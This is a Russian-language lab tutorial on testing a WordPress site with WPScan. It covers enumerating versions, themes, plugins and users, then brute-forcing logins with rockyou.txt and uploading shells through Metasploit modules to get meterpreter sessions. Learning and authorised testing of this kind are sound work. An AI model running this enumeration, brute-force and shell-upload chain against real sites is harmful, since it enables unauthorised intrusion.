Сегодня более половины всех сайтов работают на CMS, а согласно данным W3Techs 63,7% из них используют WordPress. Если ваш сайт один из таких, тогда в этой статье вы узнаете о том, как проверить его на прочность с помощью одного из самых мощных инструментов для пентеста Wordpress – WPScan.


Содержание:


  • Введение
  • Сканирование версии WordPress
  • Сканирование установленных тем оформления
  • Сканирование установленных плагинов
  • Сканирование пользователей
  • Сканирование тем, плагинов и пользователей одной командой
  • Брутфорс с помощью WPScan
  • Загрузка шелла с помощью Metasploit
  • Использование уязвимостей в плагинах
  • Сканирование через прокси-сервер
  • Сканирование с включенной HTTP-аутентификацией

Введение


«WPScan» – blackbox сканер уязвимостей WordPress, написанный на Ruby. Позволяет выявлять уязвимости в:


  • В версии движка.
  • Темах оформления.
  • Плагинах.

WPScan уже предустановлены в ряде ОС для белого хакинга, таких как:


  • Kali Linux
  • SamuraiWTF
  • Pentoo
  • BlackArch

WPScan сканирует свою базу данных, чтобы найти устаревшие версии и уязвимости в движке целевого сайта.


Возможности WPScan:


  • Определяет версию установленного на данный момент WordPress.
  • Обнаруживает конфиденциальные файлы, такие как:
    • readme;
    • robots.txt;
    • файлы замены базы данных и т. Д.
  • Обнаруживает включенные функции на текущем установленном сервере WordPress, таких как file_upload.
  • Перечисляет темы оформления и плагины вместе с их версиями. Вдобавко WPScan сообщает о том, устарели они или нет.
  • Находит все доступные имена пользователей.

Для тестов будем использовать Kali Linux, в которой WPScan уже предустановлен. В качестве жертвы будет WordPress, который мы заранее заранее установили на Ubuntu 20.04. О том, как это лучше сделать будет наш следующий пост.



Проверим параметры использования по умолчанию с помощью следующей команды:


wpscan -hh


Сканирование версии WordPress


Вводим следующую команду, чтобы просканировать WordPress и его сервер.


wpscan --url http://192.168.1.105/wordpress/

На изображении ниже можно заметить, что WPScan выводит:


  • версию WordPress
  • сервер Apache

Он даже обнаружил, что в каталоге загрузки есть список каталогов. Это значит, что любой может перейти к «/wp-content/uploads» для проверки загруженных файлов.



Сканирование установленных тем оформления


Темы оформления играют важную роль в любой CMS, они контролируют общий внешний вид веб-сайта, включая:


  • Макет страницы.
  • Расположение виджетов.
  • Настройки шрифта и цвета по умолчанию.

WPScan для поиска уязвимостей использует свою базу, которая содержит почти 3 тысячи тем оформления.


Чтобы проверить установленные темы целевого движка, введите следующую команду:


wpscan --url http://192.168.1.105/wordpresws/ -e at

Где:


  • «–e» используется для перечисления;
  • «at» выводит «все темы».

Чтобы перечислить только темы с уязвимостями можно использовать «vt».


Таким образом, запустив указанную выше команду, мы увидим установленные темы и их версию.




Сканирование установленных плагинов


Плагины – это небольшие фрагменты кода, которые после установки могут повысить функциональность движка и улучшить его возможности, но порой они наносят больше вреда, чем пользы.


Давайте проверим установленные плагины, выполнив следующую команду:


wpscan --url http://192.168.1.105/wordpress/ -e ap

  • Подобно темам, мы также можем проверить уязвимые плагины с помощью «vp».


Через несколько секунд, WPScan выводит результат, на котором видно видно, что на целевом сайте установлены плагины:


  • mail-masta;
  • reflex-gallery.

В качестве бонуса мы получаем:


  • последнюю версию;
  • дату последнего обновления.


Сканирование пользователей


Чтобы вывести список привилегированных пользователей введем следующую команду:


wpscan –url http://192.168.1.105/wordpress/ -e u

  • «u» найдет имена всех пользователей и выведет их на экран.


Когда WPScan завершит свою работу, мы получим список всех пользователей с их идентификаторами.



Сканирование тем, плагинов и пользователей одной командой


Может ли WPScan одной командой сканировать:


  • Темы оформления.
  • Плагины.
  • Имена пользователей.

Давайте это проверим!


Запустите следующую команду, чтобы сканировать темы, плагины и логины одновременно.


wpscan --url http://192.168.1.105/wordpress/ -e at –e ap –e u

  • –e: at: перечислить все темы целевого сайта;


  • –e: ap: перечислить все плагины целевого веб-сайта;


  • –e: u: перечислить все имена пользователей целевого веб-сайта.




Брутфорс с использованием WPScan


С помощью имен пользователей, которые мы уже получили ранее, мы можем попробовать брутфорс. Для этого потребуется еще список паролей по умолчанию, например, «rockyou.txt».


Начинаем брутфорс командой:


wpscan --url http://192.168.1.105/wordpress/ -U user.txt -P /usr/share/wordlists/rockyou.txt

–U и –P используются для настройки списка имен пользователей и списка паролей соответственно.



WPScan сопоставляет логины и пароли, а затем выводит результат на экран. В нашем случае были найдены 3 правильные комбинации.



Мы получили учетные данные администратора:


  • Логин: admin
  • Пароль: jessica

Теперь попробуем с их помощью попасть в админку.



Загрузка шелла с помощью Metasploit


Вводим следующие команды:


msf > use exploit/unix/webapp/wp_admin_shell_upload
msf exploit(wp_admin_shell_upload) > set rhosts 192.168.1.105
msf exploit(wp_admin_shell_upload) > set username admin
msf exploit(wp_admin_shell_upload) > set password jessica
msf exploit(wp_admin_shell_upload) > set targeturi /wordpress
msf exploit(wp_admin_shell_upload) > exploit

Этот модуль принимает имя пользователя и пароль администратора, входит в админку и загружает полезные данные, упакованные в виде плагина WordPress, но главное, он дает нам meterpreter сессию.



Использование уязвимых плагинов


Здесь, на нашем веб-сайте, мы обнаружили уязвимый плагин, а именно «slideshowgallery», который содержит уязвимость при загрузке файла аутентификации. Для ее использования применим следующий модуль, который предложит нам обратное подключение.


use exploit/unix/webapp/wp_slideshowgallery_upload
msf exploit(wp_slideshowgallery _upload) > set rhost 192.168.1.105
msf exploit(wp_ slideshowgallery _upload) > set targeturi /wordpress
msf exploit(wp_ slideshowgallery _upload) > set username admin
msf exploit(wp_ slideshowgallery _upload) > set password jessica
msf exploit(wp_ slideshowgallery _upload) > exploit

На изображении видно, что мы успешно получили meterpreter сессию.



Сканирование через прокси-сервер


Является ли прокси-сервер проблемой для WPScan? Давайте это выясним!


Отныне наш WordPress будет работать через прокси-сервер с номером порта 3128.


Теперь, если мы попытаемся сканировать его с использованием параметра по умолчанию, то увидим ошибку.



Итак, давайте попробуем использовать порт прокси для сканирования. Просто выполним следующую команду, чтобы обойти этот прокси-сервер:


wpscan --url http://192.168.1.105/wordpress/ --proxy http://192.168.1.105:3128

На изображении ниже видно, что сканирование удалось.



Сканирование с включенной HTTP-аутентификацией


Многие веб-сайты поддерживают HTTP-аутентификацию, что позволяет скрывать важную информацию от тех, кто эту аутентификацию не прошел.


Мы установили аналогичную проверку для нашего сайта с учетными данными:


  • «raj: 123»

На изображении ниже видно, что при попытке обычного сканирования мы получили предупреждение с просьбой использовать «–http-auth».



Таким образом, после этого предупреждения мы использовали «–http-auth» и ввели свои учетные данные.


wpscan --url http://192.168.1.105/wordpress/ --http-auth raj: 123

Сканирование началось...